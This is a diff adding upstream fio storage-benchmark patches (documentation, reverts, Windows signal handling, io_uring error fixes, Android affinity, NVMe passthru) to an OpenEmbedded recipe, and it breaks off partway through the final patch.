diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0014-doc-clarify-that-I-O-errors-may-go-unnoticed-without.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0014-doc-clarify-that-I-O-errors-may-go-unnoticed-without.patch
new file mode 100644
index 0000000000..3196afa2b1
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0014-doc-clarify-that-I-O-errors-may-go-unnoticed-without.patch
@@ -0,0 +1,54 @@
+From 331023be2b20d177d533e5fa18f5d8834570613f Mon Sep 17 00:00:00 2001
+From: Konstantin Kharlamov <Hi-Angel@yandex.ru>
+Date: Tue, 16 Aug 2022 19:10:38 +0300
+Subject: [PATCH] doc: clarify that I/O errors may go unnoticed without
+ direct=1
+
+Fixes: https://github.com/axboe/fio/issues/1443
+
+Reported-by: Konstantin Kharlamov <Hi-Angel@yandex.ru>
+Signed-off-by: Konstantin Kharlamov <Hi-Angel@yandex.ru>
+---
+ HOWTO.rst | 7 +++++++
+ fio.1 | 10 ++++++++++
+ 2 files changed, 17 insertions(+)
+
+diff --git a/HOWTO.rst b/HOWTO.rst
+index c94238ed..08be687c 100644
+--- a/HOWTO.rst
++++ b/HOWTO.rst
+@@ -3927,6 +3927,13 @@ Error handling
+ appended, the total error count and the first error. The error field given
+ in the stats is the first error that was hit during the run.
+
++ Note: a write error from the device may go unnoticed by fio when using
++ buffered IO, as the write() (or similar) system call merely dirties the
++ kernel pages, unless :option:`sync` or :option:`direct` is used. Device IO
++ errors occur when the dirty data is actually written out to disk. If fully
++ sync writes aren't desirable, :option:`fsync` or :option:`fdatasync` can be
++ used as well. This is specific to writes, as reads are always synchronous.
++
+ The allowed values are:
+
+ **none**
+diff --git a/fio.1 b/fio.1
+index d40b4247..27454b0b 100644
+--- a/fio.1
++++ b/fio.1
+@@ -3606,6 +3606,16 @@ EILSEQ) until the runtime is exceeded or the I/O size specified is
+ completed. If this option is used, there are two more stats that are
+ appended, the total error count and the first error. The error field given
+ in the stats is the first error that was hit during the run.
++.RS
++.P
++Note: a write error from the device may go unnoticed by fio when using buffered
++IO, as the write() (or similar) system call merely dirties the kernel pages,
++unless `sync' or `direct' is used. Device IO errors occur when the dirty data is
++actually written out to disk. If fully sync writes aren't desirable, `fsync' or
++`fdatasync' can be used as well. This is specific to writes, as reads are always
++synchronous.
++.RS
++.P
+ The allowed values are:
+ .RS
+ .RS
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0015-Revert-Minor-style-fixups.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0015-Revert-Minor-style-fixups.patch
new file mode 100644
index 0000000000..fd962eaf2d
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0015-Revert-Minor-style-fixups.patch
@@ -0,0 +1,41 @@
+From 48ceba9c1870c9312d7214503371e0b781abba27 Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Tue, 23 Aug 2022 12:38:20 -0400
+Subject: [PATCH] Revert "Minor style fixups"
+
+This reverts commit 48f8268e88629d408ffd09b1601ad13366bd4ce1.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ backend.c | 2 +-
+ filesetup.c | 3 ++-
+ 2 files changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/backend.c b/backend.c
+index 5159b60d..3a99850d 100644
+--- a/backend.c
++++ b/backend.c
+@@ -2321,7 +2321,7 @@ static void run_threads(struct sk_out *sk_out)
+ * when setup_files() does not run into issues
+ * later.
+ */
+- if (!i && td->o.nr_files == 1) {
++ if (!i && td->o.nr_files==1) {
+ if (setup_shared_file(td)) {
+ exit_value++;
+ if (td->error)
+diff --git a/filesetup.c b/filesetup.c
+index 3e2ccf9b..144a0572 100644
+--- a/filesetup.c
++++ b/filesetup.c
+@@ -1109,8 +1109,9 @@ int setup_shared_file(struct thread_data *td)
+ dprint(FD_FILE, "fio: extending shared file\n");
+ f->real_file_size = file_size;
+ err = extend_file(td, f);
+- if (!err)
++ if (!err) {
+ err = __file_invalidate_cache(td, f, 0, f->real_file_size);
++ }
+ get_file_sizes(td);
+ dprint(FD_FILE, "shared setup new real_file_size=%llu\n",
+ (unsigned long long)f->real_file_size);
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0016-Revert-Fix-multithread-issues-when-operating-on-a-si.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0016-Revert-Fix-multithread-issues-when-operating-on-a-si.patch
new file mode 100644
index 0000000000..31d8345378
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0016-Revert-Fix-multithread-issues-when-operating-on-a-si.patch
@@ -0,0 +1,141 @@
+From 1bc0dec3f54e67fa4767d0096ab377e900d5146f Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Tue, 23 Aug 2022 12:38:51 -0400
+Subject: [PATCH] Revert "Fix multithread issues when operating on a single
+ shared file"
+
+This reverts commit acbda87c34c743ff2d9e125d9539bcfbbf49eb75.
+
+This commit introduced a lot of unintended consequences for
+create_serialize=0. The aim of the commit can be accomplished with a
+combination of filesize and io_size.
+
+Fixes: https://github.com/axboe/fio/issues/1442
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ backend.c | 19 +------------------
+ file.h | 1 -
+ filesetup.c | 46 ++--------------------------------------------
+ 3 files changed, 3 insertions(+), 63 deletions(-)
+
+diff --git a/backend.c b/backend.c
+index 3a99850d..e5bb4e25 100644
+--- a/backend.c
++++ b/backend.c
+@@ -2314,25 +2314,8 @@ static void run_threads(struct sk_out *sk_out)
+ for_each_td(td, i) {
+ print_status_init(td->thread_number - 1);
+
+- if (!td->o.create_serialize) {
+- /*
+- * When operating on a single rile in parallel,
+- * perform single-threaded early setup so that
+- * when setup_files() does not run into issues
+- * later.
+- */
+- if (!i && td->o.nr_files==1) {
+- if (setup_shared_file(td)) {
+- exit_value++;
+- if (td->error)
+- log_err("fio: pid=%d, err=%d/%s\n",
+- (int) td->pid, td->error, td->verror);
+- td_set_runstate(td, TD_REAPED);
+- todo--;
+- }
+- }
++ if (!td->o.create_serialize)
+ continue;
+- }
+
+ if (fio_verify_load_state(td))
+ goto reap;
+diff --git a/file.h b/file.h
+index e646cf22..da1b8947 100644
+--- a/file.h
++++ b/file.h
+@@ -201,7 +201,6 @@ struct thread_data;
+ extern void close_files(struct thread_data *);
+ extern void close_and_free_files(struct thread_data *);
+ extern uint64_t get_start_offset(struct thread_data *, struct fio_file *);
+-extern int __must_check setup_shared_file(struct thread_data *);
+ extern int __must_check setup_files(struct thread_data *);
+ extern int __must_check file_invalidate_cache(struct thread_data *, struct fio_file *);
+ #ifdef __cplusplus
+diff --git a/filesetup.c b/filesetup.c
+index 144a0572..1d3cc5ad 100644
+--- a/filesetup.c
++++ b/filesetup.c
+@@ -143,7 +143,7 @@ static int extend_file(struct thread_data *td, struct fio_file *f)
+ if (unlink_file || new_layout) {
+ int ret;
+
+- dprint(FD_FILE, "layout %d unlink %d %s\n", new_layout, unlink_file, f->file_name);
++ dprint(FD_FILE, "layout unlink %s\n", f->file_name);
+
+ ret = td_io_unlink_file(td, f);
+ if (ret != 0 && ret != ENOENT) {
+@@ -198,9 +198,6 @@ static int extend_file(struct thread_data *td, struct fio_file *f)
+ }
+ }
+
+-
+- dprint(FD_FILE, "fill file %s, size %llu\n", f->file_name, (unsigned long long) f->real_file_size);
+-
+ left = f->real_file_size;
+ bs = td->o.max_bs[DDIR_WRITE];
+ if (bs > left)
+@@ -1081,45 +1078,6 @@ static bool create_work_dirs(struct thread_data *td, const char *fname)
+ return true;
+ }
+
+-int setup_shared_file(struct thread_data *td)
+-{
+- struct fio_file *f;
+- uint64_t file_size;
+- int err = 0;
+-
+- if (td->o.nr_files > 1) {
+- log_err("fio: shared file setup called for multiple files\n");
+- return -1;
+- }
+-
+- get_file_sizes(td);
+-
+- f = td->files[0];
+-
+- if (f == NULL) {
+- log_err("fio: NULL shared file\n");
+- return -1;
+- }
+-
+- file_size = thread_number * td->o.size;
+- dprint(FD_FILE, "shared setup %s real_file_size=%llu, desired=%llu\n",
+- f->file_name, (unsigned long long)f->real_file_size, (unsigned long long)file_size);
+-
+- if (f->real_file_size < file_size) {
+- dprint(FD_FILE, "fio: extending shared file\n");
+- f->real_file_size = file_size;
+- err = extend_file(td, f);
+- if (!err) {
+- err = __file_invalidate_cache(td, f, 0, f->real_file_size);
+- }
+- get_file_sizes(td);
+- dprint(FD_FILE, "shared setup new real_file_size=%llu\n",
+- (unsigned long long)f->real_file_size);
+- }
+-
+- return err;
+-}
+-
+ /*
+ * Open the files and setup files sizes, creating files if necessary.
+ */
+@@ -1134,7 +1092,7 @@ int setup_files(struct thread_data *td)
+ const unsigned long long bs = td_min_bs(td);
+ uint64_t fs = 0;
+
+- dprint(FD_FILE, "setup files (thread_number=%d, subjob_number=%d)\n", td->thread_number, td->subjob_number);
++ dprint(FD_FILE, "setup files\n");
+
+ old_state = td_bump_runstate(td, TD_SETTING_UP);
+
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0017-Add-wait-for-handling-SIGBREAK.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0017-Add-wait-for-handling-SIGBREAK.patch
new file mode 100644
index 0000000000..e8cb337583
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0017-Add-wait-for-handling-SIGBREAK.patch
@@ -0,0 +1,59 @@
+From 98beea79a30f1541e646efae911dfce10ae18f5c Mon Sep 17 00:00:00 2001
+From: Brandon Paupore <brandon.paupore@wdc.com>
+Date: Fri, 5 Aug 2022 12:57:27 -0500
+Subject: [PATCH] Add wait for handling SIGBREAK
+
+When closing a command prompt window or terminating it using something
+like the taskkill command, each child process (such as a running FIO
+workload) is sent a SIGBREAK signal. Once those child processes have
+responded to that signal, Windows terminates them if they're still
+executing.
+
+This change has the main thread to wait for others to exit when handling
+a SIGBREAK signal, such that each job will still have time to wrap-up
+and give stats before the entire program terminates.
+
+Signed-off-by: Brandon Paupore <brandon.paupore@wdc.com>
+---
+ backend.c | 21 ++++++++++++++++++++-
+ 1 file changed, 20 insertions(+), 1 deletion(-)
+
+diff --git a/backend.c b/backend.c
+index e5bb4e25..375a23e4 100644
+--- a/backend.c
++++ b/backend.c
+@@ -90,6 +90,25 @@ static void sig_int(int sig)
+ }
+ }
+
++#ifdef WIN32
++static void sig_break(int sig)
++{
++ struct thread_data *td;
++ int i;
++
++ sig_int(sig);
++
++ /**
++ * Windows terminates all job processes on SIGBREAK after the handler
++ * returns, so give them time to wrap-up and give stats
++ */
++ for_each_td(td, i) {
++ while (td->runstate < TD_EXITED)
++ sleep(1);
++ }
++}
++#endif
++
+ void sig_show_status(int sig)
+ {
+ show_running_run_stats();
+@@ -112,7 +131,7 @@ static void set_sig_handlers(void)
+ /* Windows uses SIGBREAK as a quit signal from other applications */
+ #ifdef WIN32
+ memset(&act, 0, sizeof(act));
+- act.sa_handler = sig_int;
++ act.sa_handler = sig_break;
+ act.sa_flags = SA_RESTART;
+ sigaction(SIGBREAK, &act, NULL);
+ #endif
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0018-engines-io_uring-pass-back-correct-error-value-when-.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0018-engines-io_uring-pass-back-correct-error-value-when-.patch
new file mode 100644
index 0000000000..8aea3abac9
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0018-engines-io_uring-pass-back-correct-error-value-when-.patch
@@ -0,0 +1,58 @@
+From 1e6918419f4a2e5dbd77dd2da82598f1af63f533 Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Wed, 24 Aug 2022 12:01:39 -0600
+Subject: [PATCH] engines/io_uring: pass back correct error value when
+ interrupted
+
+Running with an io_uring engine and using a USR1 signal to show
+current status will end up terminating the job with:
+
+fio: pid=91726, err=-4/file:ioengines.c:320, func=get_events, error=Unknown error -4
+sfx: (groupid=0, jobs=1): err=-4 (file:ioengines.c:320, func=get_events, error=Unknown error -4): pid=91726: Wed Aug 24 11:59:51 2022
+
+Ensure that the return value is set correctly based on the errno.
+
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ engines/io_uring.c | 8 ++++++++
+ 1 file changed, 8 insertions(+)
+
+diff --git a/engines/io_uring.c b/engines/io_uring.c
+index cffc7371..89d64b06 100644
+--- a/engines/io_uring.c
++++ b/engines/io_uring.c
+@@ -445,12 +445,18 @@ static struct io_u *fio_ioring_event(struct thread_data *td, int event)
+ struct io_uring_cqe *cqe;
+ struct io_u *io_u;
+ unsigned index;
++ static int eio;
+
+ index = (event + ld->cq_ring_off) & ld->cq_ring_mask;
+
+ cqe = &ld->cq_ring.cqes[index];
+ io_u = (struct io_u *) (uintptr_t) cqe->user_data;
+
++ if (eio++ == 5) {
++ printf("mark EIO\n");
++ cqe->res = -EIO;
++ }
++
+ if (cqe->res != io_u->xfer_buflen) {
+ if (cqe->res > io_u->xfer_buflen)
+ io_u->error = -cqe->res;
+@@ -532,6 +538,7 @@ static int fio_ioring_getevents(struct thread_data *td, unsigned int min,
+ if (r < 0) {
+ if (errno == EAGAIN || errno == EINTR)
+ continue;
++ r = -errno;
+ td_verror(td, errno, "io_uring_enter");
+ break;
+ }
+@@ -665,6 +672,7 @@ static int fio_ioring_commit(struct thread_data *td)
+ usleep(1);
+ continue;
+ }
++ ret = -errno;
+ td_verror(td, errno, "io_uring_enter submit");
+ break;
+ }
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0019-Enable-CPU-affinity-support-on-Android.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0019-Enable-CPU-affinity-support-on-Android.patch
new file mode 100644
index 0000000000..f47741612f
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0019-Enable-CPU-affinity-support-on-Android.patch
@@ -0,0 +1,64 @@
+From 02fd5b722bdfef2e7ce8d4aeb1bc65308d37003f Mon Sep 17 00:00:00 2001
+From: Bart Van Assche <bvanassche@acm.org>
+Date: Wed, 24 Aug 2022 13:42:29 -0700
+Subject: [PATCH] Enable CPU affinity support on Android
+
+This patch enables the --cpumask=, --cpus_allowed= and
+--cpus_allowed_policy= fio options.
+
+Signed-off-by: Bart Van Assche <bvanassche@acm.org>
+---
+ os/os-android.h | 26 ++++++++++++++++++++++++++
+ 1 file changed, 26 insertions(+)
+
+diff --git a/os/os-android.h b/os/os-android.h
+index 2f73d249..34534239 100644
+--- a/os/os-android.h
++++ b/os/os-android.h
+@@ -24,6 +24,7 @@
+ #define __has_builtin(x) 0 // Compatibility with non-clang compilers.
+ #endif
+
++#define FIO_HAVE_CPU_AFFINITY
+ #define FIO_HAVE_DISK_UTIL
+ #define FIO_HAVE_IOSCHED_SWITCH
+ #define FIO_HAVE_IOPRIO
+@@ -44,6 +45,13 @@
+
+ #define OS_MAP_ANON MAP_ANONYMOUS
+
++typedef cpu_set_t os_cpu_mask_t;
++
++#define fio_setaffinity(pid, cpumask) \
++ sched_setaffinity((pid), sizeof(cpumask), &(cpumask))
++#define fio_getaffinity(pid, ptr) \
++ sched_getaffinity((pid), sizeof(cpu_set_t), (ptr))
++
+ #ifndef POSIX_MADV_DONTNEED
+ #define posix_madvise madvise
+ #define POSIX_MADV_DONTNEED MADV_DONTNEED
+@@ -64,6 +72,24 @@
+ pthread_getaffinity_np(pthread_self(), sizeof(mask), &(mask))
+ #endif
+
++#define fio_cpu_clear(mask, cpu) CPU_CLR((cpu), (mask))
++#define fio_cpu_set(mask, cpu) CPU_SET((cpu), (mask))
++#define fio_cpu_isset(mask, cpu) (CPU_ISSET((cpu), (mask)) != 0)
++#define fio_cpu_count(mask) CPU_COUNT((mask))
++
++static inline int fio_cpuset_init(os_cpu_mask_t *mask)
++{
++ CPU_ZERO(mask);
++ return 0;
++}
++
++static inline int fio_cpuset_exit(os_cpu_mask_t *mask)
++{
++ return 0;
++}
++
++#define FIO_MAX_CPUS CPU_SETSIZE
++
+ #ifndef CONFIG_NO_SHM
+ /*
+ * Bionic doesn't support SysV shared memory, so implement it using ashmem
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0020-io_uring-Replace-pthread_self-with-s-tid.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0020-io_uring-Replace-pthread_self-with-s-tid.patch
new file mode 100644
index 0000000000..24952f19f5
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0020-io_uring-Replace-pthread_self-with-s-tid.patch
@@ -0,0 +1,41 @@
+From 72d7f2139454528b9ebfb2f988a35f9a739680d0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 24 Aug 2022 18:08:53 -0700
+Subject: [PATCH] io_uring: Replace pthread_self with s->tid
+
+__init_rand64 takes 64bit value and srand48 takes unsigned 32bit value,
+pthread_t is opaque type and some libcs ( e.g. musl ) do not define them
+in plain old data types and ends up with errors
+
+| t/io_uring.c:809:32: error: incompatible pointer to integer conversion passing 'pthread_t' (aka 'struct __pthread *') to parameter of type 'uint64_t' (aka 'unsigned long') [-Wint-conver
+sion]
+| __init_rand64(&s->rand_state, pthread_self());
+| ^~~~~~~~~~~~~~
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ t/io_uring.c | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/t/io_uring.c b/t/io_uring.c
+index 35bf1956..f34a3554 100644
+--- a/t/io_uring.c
++++ b/t/io_uring.c
+@@ -799,15 +799,14 @@ static int submitter_init(struct submitter *s)
+ int i, nr_batch, err;
+ static int init_printed;
+ char buf[80];
+-
+ s->tid = gettid();
+ printf("submitter=%d, tid=%d, file=%s, node=%d\n", s->index, s->tid,
+ s->filename, s->numa_node);
+
+ set_affinity(s);
+
+- __init_rand64(&s->rand_state, pthread_self());
+- srand48(pthread_self());
++ __init_rand64(&s->rand_state, s->tid);
++ srand48(s->tid);
+
+ for (i = 0; i < MAX_FDS; i++)
+ s->files[i].fileno = i;
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0021-engines-io_uring-delete-debug-code.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0021-engines-io_uring-delete-debug-code.patch
new file mode 100644
index 0000000000..b4f3d0d27f
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0021-engines-io_uring-delete-debug-code.patch
@@ -0,0 +1,37 @@
+From 85f8181d42050f8a8c9ddf6d30f621054f0e6890 Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Thu, 25 Aug 2022 11:19:34 -0600
+Subject: [PATCH] engines/io_uring: delete debug code
+
+This was inadvertently introduced by a previous commit, get rid
+of it.
+
+Fixes: 1816895b788e ("engines/io_uring: pass back correct error value when interrupted")
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ engines/io_uring.c | 6 ------
+ 1 file changed, 6 deletions(-)
+
+diff --git a/engines/io_uring.c b/engines/io_uring.c
+index 89d64b06..94376efa 100644
+--- a/engines/io_uring.c
++++ b/engines/io_uring.c
+@@ -445,18 +445,12 @@ static struct io_u *fio_ioring_event(struct thread_data *td, int event)
+ struct io_uring_cqe *cqe;
+ struct io_u *io_u;
+ unsigned index;
+- static int eio;
+
+ index = (event + ld->cq_ring_off) & ld->cq_ring_mask;
+
+ cqe = &ld->cq_ring.cqes[index];
+ io_u = (struct io_u *) (uintptr_t) cqe->user_data;
+
+- if (eio++ == 5) {
+- printf("mark EIO\n");
+- cqe->res = -EIO;
+- }
+-
+ if (cqe->res != io_u->xfer_buflen) {
+ if (cqe->res > io_u->xfer_buflen)
+ io_u->error = -cqe->res;
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0022-t-io_uring-prep-for-including-engines-nvme.h-in-t-io.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0022-t-io_uring-prep-for-including-engines-nvme.h-in-t-io.patch
new file mode 100644
index 0000000000..f32c8867df
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0022-t-io_uring-prep-for-including-engines-nvme.h-in-t-io.patch
@@ -0,0 +1,72 @@
+From a10cec0440a7574ffb76ff52fbc33a250f067d6a Mon Sep 17 00:00:00 2001
+From: Anuj Gupta <anuj20.g@samsung.com>
+Date: Fri, 26 Aug 2022 17:03:05 +0530
+Subject: [PATCH] t/io_uring: prep for including engines/nvme.h in t/io_uring
+
+Change page_size and cal_clat_percentiles name to something different
+as these are indirectly picked from engines/nvme.h (fio.h and stat.h)
+
+Signed-off-by: Anuj Gupta <anuj20.g@samsung.com>
+Link: https://lore.kernel.org/r/20220826113306.4139-2-anuj20.g@samsung.com
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ t/io_uring.c | 18 +++++++++---------
+ 1 file changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/t/io_uring.c b/t/io_uring.c
+index f34a3554..6e4737e4 100644
+--- a/t/io_uring.c
++++ b/t/io_uring.c
+@@ -117,7 +117,7 @@ static struct submitter *submitter;
+ static volatile int finish;
+ static int stats_running;
+ static unsigned long max_iops;
+-static long page_size;
++static long t_io_uring_page_size;
+
+ static int depth = DEPTH;
+ static int batch_submit = BATCH_SUBMIT;
+@@ -195,9 +195,9 @@ static unsigned long plat_idx_to_val(unsigned int idx)
+ return cycles_to_nsec(base + ((k + 0.5) * (1 << error_bits)));
+ }
+
+-unsigned int calc_clat_percentiles(unsigned long *io_u_plat, unsigned long nr,
+- unsigned long **output,
+- unsigned long *maxv, unsigned long *minv)
++unsigned int calculate_clat_percentiles(unsigned long *io_u_plat,
++ unsigned long nr, unsigned long **output,
++ unsigned long *maxv, unsigned long *minv)
+ {
+ unsigned long sum = 0;
+ unsigned int len = plist_len, i, j = 0;
+@@ -251,7 +251,7 @@ static void show_clat_percentiles(unsigned long *io_u_plat, unsigned long nr,
+ bool is_last;
+ char fmt[32];
+
+- len = calc_clat_percentiles(io_u_plat, nr, &ovals, &maxv, &minv);
++ len = calculate_clat_percentiles(io_u_plat, nr, &ovals, &maxv, &minv);
+ if (!len || !ovals)
+ goto out;
+
+@@ -786,7 +786,7 @@ static void *allocate_mem(struct submitter *s, int size)
+ return numa_alloc_onnode(size, s->numa_node);
+ #endif
+
+- if (posix_memalign(&buf, page_size, bs)) {
++ if (posix_memalign(&buf, t_io_uring_page_size, bs)) {
+ printf("failed alloc\n");
+ return NULL;
+ }
+@@ -1542,9 +1542,9 @@ int main(int argc, char *argv[])
+
+ arm_sig_int();
+
+- page_size = sysconf(_SC_PAGESIZE);
+- if (page_size < 0)
+- page_size = 4096;
++ t_io_uring_page_size = sysconf(_SC_PAGESIZE);
++ if (t_io_uring_page_size < 0)
++ t_io_uring_page_size = 4096;
+
+ for (j = 0; j < nthreads; j++) {
+ s = get_submitter(j);
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0023-t-io_uring-add-support-for-async-passthru.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0023-t-io_uring-add-support-for-async-passthru.patch
new file mode 100644
index 0000000000..8ef7d13e98
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0023-t-io_uring-add-support-for-async-passthru.patch
@@ -0,0 +1,379 @@
+From fa4a1345ca7cd60ae0b96da286f45621a3f45a33 Mon Sep 17 00:00:00 2001
+From: Anuj Gupta <anuj20.g@samsung.com>
+Date: Fri, 26 Aug 2022 17:03:06 +0530
+Subject: [PATCH] t/io_uring: add support for async-passthru
+
+This patch adds support for async-passthru in t/io_uring. User needs to
+specify -u1 option in the command
+
+Example commandline:
+t/io_uring -b512 -d128 -c32 -s32 -p0 -F1 -B0 -O0 -n1 -u1 /dev/ng0n1
+
+Signed-off-by: Anuj Gupta <anuj20.g@samsung.com>
+Link: https://lore.kernel.org/r/20220826113306.4139-3-anuj20.g@samsung.com
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ t/io_uring.c | 238 +++++++++++++++++++++++++++++++++++++++++++++++++--
+ 1 file changed, 230 insertions(+), 8 deletions(-)
+
+diff --git a/t/io_uring.c b/t/io_uring.c
+index 6e4737e4..0a90f85c 100644
+--- a/t/io_uring.c
++++ b/t/io_uring.c
+@@ -35,6 +35,7 @@
+ #include "../lib/rand.h"
+ #include "../minmax.h"
+ #include "../os/linux/io_uring.h"
++#include "../engines/nvme.h"
+
+ struct io_sq_ring {
+ unsigned *head;
+@@ -67,6 +68,8 @@ struct file {
+ unsigned long max_size;
+ unsigned long cur_off;
+ unsigned pending_ios;
++ unsigned int nsid; /* nsid field required for nvme-passthrough */
++ unsigned int lba_shift; /* lba_shift field required for nvme-passthrough */
+ int real_fd;
+ int fixed_fd;
+ int fileno;
+@@ -139,6 +142,7 @@ static int random_io = 1; /* random or sequential IO */
+ static int register_ring = 1; /* register ring */
+ static int use_sync = 0; /* use preadv2 */
+ static int numa_placement = 0; /* set to node of device */
++static int pt = 0; /* passthrough I/O or not */
+
+ static unsigned long tsc_rate;
+
+@@ -161,6 +165,54 @@ struct io_uring_map_buffers {
+ };
+ #endif
+
++static int nvme_identify(int fd, __u32 nsid, enum nvme_identify_cns cns,
++ enum nvme_csi csi, void *data)
++{
++ struct nvme_passthru_cmd cmd = {
++ .opcode = nvme_admin_identify,
++ .nsid = nsid,
++ .addr = (__u64)(uintptr_t)data,
++ .data_len = NVME_IDENTIFY_DATA_SIZE,
++ .cdw10 = cns,
++ .cdw11 = csi << NVME_IDENTIFY_CSI_SHIFT,
++ .timeout_ms = NVME_DEFAULT_IOCTL_TIMEOUT,
++ };
++
++ return ioctl(fd, NVME_IOCTL_ADMIN_CMD, &cmd);
++}
++
++static int nvme_get_info(int fd, __u32 *nsid, __u32 *lba_sz, __u64 *nlba)
++{
++ struct nvme_id_ns ns;
++ int namespace_id;
++ int err;
++
++ namespace_id = ioctl(fd, NVME_IOCTL_ID);
++ if (namespace_id < 0) {
++ fprintf(stderr, "error failed to fetch namespace-id\n");
++ close(fd);
++ return -errno;
++ }
++
++ /*
++ * Identify namespace to get namespace-id, namespace size in LBA's
++ * and LBA data size.
++ */
++ err = nvme_identify(fd, namespace_id, NVME_IDENTIFY_CNS_NS,
++ NVME_CSI_NVM, &ns);
++ if (err) {
++ fprintf(stderr, "error failed to fetch identify namespace\n");
++ close(fd);
++ return err;
++ }
++
++ *nsid = namespace_id;
++ *lba_sz = 1 << ns.lbaf[(ns.flbas & 0x0f)].ds;
++ *nlba = ns.nsze;
++
++ return 0;
++}
++
+ static unsigned long cycles_to_nsec(unsigned long cycles)
+ {
+ uint64_t val;
+@@ -520,6 +572,65 @@ static void init_io(struct submitter *s, unsigned index)
+ sqe->user_data |= ((uint64_t)s->clock_index << 32);
+ }
+
++static void init_io_pt(struct submitter *s, unsigned index)
++{
++ struct io_uring_sqe *sqe = &s->sqes[index << 1];
++ unsigned long offset;
++ struct file *f;
++ struct nvme_uring_cmd *cmd;
++ unsigned long long slba;
++ unsigned long long nlb;
++ long r;
++
++ if (s->nr_files == 1) {
++ f = &s->files[0];
++ } else {
++ f = &s->files[s->cur_file];
++ if (f->pending_ios >= file_depth(s)) {
++ s->cur_file++;
++ if (s->cur_file == s->nr_files)
++ s->cur_file = 0;
++ f = &s->files[s->cur_file];
++ }
++ }
++ f->pending_ios++;
++
++ if (random_io) {
++ r = __rand64(&s->rand_state);
++ offset = (r % (f->max_blocks - 1)) * bs;
++ } else {
++ offset = f->cur_off;
++ f->cur_off += bs;
++ if (f->cur_off + bs > f->max_size)
++ f->cur_off = 0;
++ }
++
++ if (register_files) {
++ sqe->fd = f->fixed_fd;
++ sqe->flags = IOSQE_FIXED_FILE;
++ } else {
++ sqe->fd = f->real_fd;
++ sqe->flags = 0;
++ }
++ sqe->opcode = IORING_OP_URING_CMD;
++ sqe->user_data = (unsigned long) f->fileno;
++ if (stats)
++ sqe->user_data |= ((unsigned long)s->clock_index << 32);
++ sqe->cmd_op = NVME_URING_CMD_IO;
++ slba = offset >> f->lba_shift;
++ nlb = (bs >> f->lba_shift) - 1;
++ cmd = (struct nvme_uring_cmd *)&sqe->cmd;
++ /* cdw10 and cdw11 represent starting slba*/
++ cmd->cdw10 = slba & 0xffffffff;
++ cmd->cdw11 = slba >> 32;
++ /* cdw12 represent number of lba to be read*/
++ cmd->cdw12 = nlb;
++ cmd->addr = (unsigned long) s->iovecs[index].iov_base;
++ cmd->data_len = bs;
++ cmd->nsid = f->nsid;
++ cmd->opcode = 2;
++}
++
+ static int prep_more_ios_uring(struct submitter *s, int max_ios)
+ {
+ struct io_sq_ring *ring = &s->sq_ring;
+@@ -532,7 +643,10 @@ static int prep_more_ios_uring(struct submitter *s, int max_ios)
+ break;
+
+ index = tail & sq_ring_mask;
+- init_io(s, index);
++ if (pt)
++ init_io_pt(s, index);
++ else
++ init_io(s, index);
+ ring->array[index] = index;
+ prepped++;
+ tail = next_tail;
+@@ -549,7 +663,29 @@ static int get_file_size(struct file *f)
+
+ if (fstat(f->real_fd, &st) < 0)
+ return -1;
+- if (S_ISBLK(st.st_mode)) {
++ if (pt) {
++ __u64 nlba;
++ __u32 lbs;
++ int ret;
++
++ if (!S_ISCHR(st.st_mode)) {
++ fprintf(stderr, "passthrough works with only nvme-ns "
++ "generic devices (/dev/ngXnY)\n");
++ return -1;
++ }
++ ret = nvme_get_info(f->real_fd, &f->nsid, &lbs, &nlba);
++ if (ret)
++ return -1;
